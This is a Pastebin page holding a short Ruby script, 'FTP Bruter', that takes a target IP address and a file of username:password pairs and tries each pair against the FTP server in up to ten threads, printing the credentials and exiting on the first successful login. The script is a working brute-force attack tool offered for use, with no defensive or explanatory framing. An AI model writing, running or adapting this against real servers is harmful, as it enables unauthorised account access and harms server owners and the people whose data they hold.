zepek_al

FTP Brute Force

Nov 3rd, 2017
719
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.13 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. require 'net/ftp'
  3. require 'thread'
  4. ############>>>>HEADER<<<<###############
  5. puts "#{'#'*59}"
  6. puts "#{'#'*1} *** ZepeK ***  #{' '*12}# #{' '*27}#"
  7. puts "#{'#'*1} [email protected]     # # >>>--- FTP Bruter ---<<< #"
  8. puts "#{'#'*1} skype: live:zepek_al # #{' '*27}#"
  9. puts "#{'#'*59}"
  10. ############>>>>HEADER<<<<###############
  11.  
  12. ############>>>> Usage<<<<###############
  13. if (ARGV.size < 2)
  14.     puts "Usage: ./ftp_bruter.rb [IP ADDR] [Password list]"
  15.     puts "ex: ./ftp_bruter.rb 127.0.0.1 passwords.lst"
  16.     exit
  17. end
  18. ############>>>> Usage<<<<###############
  19.  
  20. host    = ARGV[0]
  21. pwdlist = ARGV[1]
  22. threads = []
  23. i       = 0
  24.  
  25. puts " \n>>FTP_bruter running...\n\n"
  26. File.open(pwdlist, "r").each_line do |line|
  27. user, pass = line.split(":")
  28.     if i < 10
  29.     threads << Thread.new{
  30.     begin
  31.         Net::FTP.new(host).login(user, pass)
  32.         puts "Login   : #{user} "
  33.         puts "Password: #{pass} \n"
  34.         puts ">>Exiting..."
  35.         exit
  36.     rescue
  37.         Net::FTPPermError
  38.     end#begin
  39.     }
  40.     i += 1
  41.     else
  42.         sleep(0.05) and threads.delete_if {|x| not x.alive?} while not threads.empty?
  43.             i = 0
  44.     end#if
  45.     threads.each {|thread| thread.join}
  46. end#do
Advertisement
Add Comment
Please, Sign In to add comment